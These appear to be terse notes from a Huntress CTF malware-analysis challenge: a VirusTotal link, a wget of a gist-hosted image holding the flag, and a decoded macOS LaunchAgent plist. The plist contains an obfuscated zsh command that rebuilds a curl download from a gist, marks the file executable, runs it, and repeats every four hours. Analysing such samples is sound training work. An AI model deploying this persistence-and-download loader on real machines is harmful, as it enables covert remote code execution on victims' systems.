2023-10-21

VirusTotal
VirusTotal
https://www.virustotal.com/gui/file/7a83115ab46ba6a3c237d78f32bd3386ff4d4d7cd7b06ad731fe8071b2246278/behavior

image.png

wget

https://gist.githubusercontent.com/stuartjash/a7d187c44f4327739b752d037be45f01/raw/4ea401db574d5cceb0ba517feb9f84971136f067/JohnHammond.jpg

flag from john hammond pic

decoded chunk
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.huntress.ctf</string><key>ProgramArguments</key><array><string>/bin/zsh</string><string>-c</string><string>A0b='tmp="$(m';A0bERheZ='ktemp /tmp/XX';A0bERheZX='XXXXXX)"';A0bER='; curl --';A0bE='retry 5 -f ';A0bERh='"https://';a0berhezxdri='gist.githu';xber='b.com/s';juuQ='tuartjas';juuQQ7l7X5='h/a7d18';juuQQ7l7X5yX='7c44f4327';juuQQ7l7X5y='739b752d037be45f01';juuQQ7='" -o "${tmp}"; i';juuQQ7l7='f [[ -s "${tmp}';juuQQ7l7X='" ]];';juQQ7l7X5y=' then chm';juQQ7l='od 777 "${tmp}"; ';zRO3OUtcXt='"${tmp}"';zRO3OUt='; fi; rm';zRO3OUtcXteB=' "${tmp}"';echo -e ${A0b}${A0bERheZ}${A0bERheZX}${A0bER}${A0bE}${A0bERh}${A0bERheZXDRi}${xbER}${juuQ}${juuQQ7l7X5}${juuQQ7l7X5yX}${juuQQ7l7X5y}${juuQQ7}${juuQQ7l7}${juuQQ7l7X}${juQQ7l7X5y}${juQQ7l}${zRO3OUtcXt}${zRO3OUt}${zRO3OUtcXteB} | /bin/zsh</string></array><key>RunAtLoad</key><true /><key>StartInterval</key><integer>14400</integer></dict></plist>

image.png

image.png

image.png

image.png

image.png